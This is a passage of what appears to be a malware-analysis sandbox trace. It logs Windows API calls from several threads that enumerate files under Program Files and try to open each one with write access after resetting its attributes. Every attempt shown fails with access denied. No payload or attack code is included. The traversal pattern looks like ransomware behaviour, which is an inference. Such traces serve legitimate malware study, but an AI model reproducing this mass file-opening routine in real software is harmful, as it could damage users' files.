	[0090.835] wcscmp (_String1=".", _String2=".") returned 0
	[0090.835] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.835] wcscmp (_String1="..", _String2=".") returned 1
	[0090.835] wcscmp (_String1="..", _String2="..") returned 0
	[0090.835] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8242d0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xee4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 1
	[0090.835] wcscmp (_String1="JSByteCodeCache_64", _String2=".") returned 1
	[0090.835] wcscmp (_String1="JSByteCodeCache_64", _String2="..") returned 1
	[0090.835] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d883a8
	[0090.835] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0090.835] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0090.835] wcscat (in: _Dest=0x2d883a8, _Source="JSByteCodeCache_64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64"
	[0090.836] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64")) returned 0x2024
	[0090.836] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x20) returned 0
	[0090.836] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.836] GetLastError () returned 0x5
	[0090.836] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x2024) returned 0
	[0090.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.836] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe8242d0, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0xee4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 0
	[0090.836] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0090.836] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47169c8) returned 1
	[0090.836] FindNextFileW (in: hFindFile=0x46a6e90, lpFindFileData=0x4711668 | out: lpFindFileData=0x4711668*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdfcbee3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xdfcbee3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xdfcbee3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0090.836] FindClose (in: hFindFile=0x46a6e90 | out: hFindFile=0x46a6e90) returned 1
	[0090.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711668) returned 1
	[0090.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766c10) returned 1
	[0090.837] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765d10) returned 1

Thread:
	id = 887
	os_tid = 0xac4

	[0082.145] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0082.146] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.146] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.146] GetLastError () returned 0x5
	[0082.146] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0082.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cf50) returned 1

Thread:
	id = 888
	os_tid = 0xeb8

	[0082.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6c) returned 0x2e04bd0
	[0082.147] wcscpy (in: _Dest=0x2e04bd0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC"
	[0082.147] wcscat (in: _Dest=0x2e04bd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\"
	[0082.147] wcscat (in: _Dest=0x2e04bd0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\*"
	[0082.147] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47118d0
	[0082.147] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\*", lpFindFileData=0x47118d0 | out: lpFindFileData=0x47118d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477abe8
	[0085.301] wcscmp (_String1=".", _String2=".") returned 0
	[0085.301] FindNextFileW (in: hFindFile=0x477abe8, lpFindFileData=0x47118d0 | out: lpFindFileData=0x47118d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.301] wcscmp (_String1="..", _String2=".") returned 1
	[0085.301] wcscmp (_String1="..", _String2="..") returned 0
	[0085.301] FindNextFileW (in: hFindFile=0x477abe8, lpFindFileData=0x47118d0 | out: lpFindFileData=0x47118d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
	[0085.301] wcscmp (_String1="Linguistics", _String2=".") returned 1
	[0085.301] wcscmp (_String1="Linguistics", _String2="..") returned 1
	[0085.301] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498d020
	[0085.301] wcscpy (in: _Dest=0x498d020, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC"
	[0085.301] wcscat (in: _Dest=0x498d020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\"
	[0085.301] wcscat (in: _Dest=0x498d020, _Source="Linguistics" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Reader\\DC\\Linguistics"

Thread:
	id = 889
	os_tid = 0xef4

	[0082.148] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.150] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.151] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.152] GetLastError () returned 0x5
	[0082.152] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.155] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d970) returned 1

Thread:
	id = 890
	os_tid = 0xf20

	[0082.156] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0082.158] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.159] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.160] GetLastError () returned 0x5
	[0082.160] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0082.162] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d028) returned 1

Thread:
	id = 891
	os_tid = 0xeec

	[0082.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5e78
	[0082.163] wcscpy (in: _Dest=0x46a5e78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0082.163] wcscat (in: _Dest=0x46a5e78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.163] wcscat (in: _Dest=0x46a5e78, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711b38
	[0082.163] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4711b38 | out: lpFindFileData=0x4711b38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d73fc1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e44ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6ed0
	[0082.164] wcscmp (_String1=".", _String2=".") returned 0
	[0082.164] FindNextFileW (in: hFindFile=0x46a6ed0, lpFindFileData=0x4711b38 | out: lpFindFileData=0x4711b38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33d73fc1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e44ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.164] wcscmp (_String1="..", _String2=".") returned 1
	[0082.164] wcscmp (_String1="..", _String2="..") returned 0
	[0082.164] FindNextFileW (in: hFindFile=0x46a6ed0, lpFindFileData=0x4711b38 | out: lpFindFileData=0x4711b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d73fc1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0082.164] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0082.164] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0082.165] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x47519a8
	[0082.165] wcscpy (in: _Dest=0x47519a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0082.165] wcscat (in: _Dest=0x47519a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.165] wcscat (in: _Dest=0x47519a8, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.830] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.832] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.832] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.832] GetLastError () returned 0x5
	[0090.832] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.832] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47519a8) returned 1
	[0090.832] FindNextFileW (in: hFindFile=0x46a6ed0, lpFindFileData=0x4711b38 | out: lpFindFileData=0x4711b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33d73fc1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x33d73fc1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x33d73fc1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.832] FindClose (in: hFindFile=0x46a6ed0 | out: hFindFile=0x46a6ed0) returned 1
	[0090.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4711b38) returned 1
	[0090.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5e78) returned 1
	[0090.833] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9f90) returned 1

Thread:
	id = 892
	os_tid = 0xda0

	[0082.165] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.166] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.166] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.166] GetLastError () returned 0x5
	[0082.166] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ed50) returned 1

Thread:
	id = 893
	os_tid = 0xe9c

	[0082.167] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png")) returned 0x20
	[0082.167] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0082.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.167] GetLastError () returned 0x5
	[0082.167] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\logo.png", dwFileAttributes=0x20) returned 0
	[0082.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47707a8) returned 1

Thread:
	id = 894
	os_tid = 0xd9c

	[0082.168] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33478
	[0082.168] wcscpy (in: _Dest=0x4e33478, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising"
	[0082.169] wcscat (in: _Dest=0x4e33478, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\"
	[0082.169] wcscat (in: _Dest=0x4e33478, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*"
	[0082.169] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0082.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e45833, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33f47386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6f10
	[0082.169] wcscmp (_String1=".", _String2=".") returned 0
	[0082.169] FindNextFileW (in: hFindFile=0x46a6f10, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33f2112c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xa9e45833, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x33f47386, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.169] wcscmp (_String1="..", _String2=".") returned 1
	[0082.169] wcscmp (_String1="..", _String2="..") returned 0
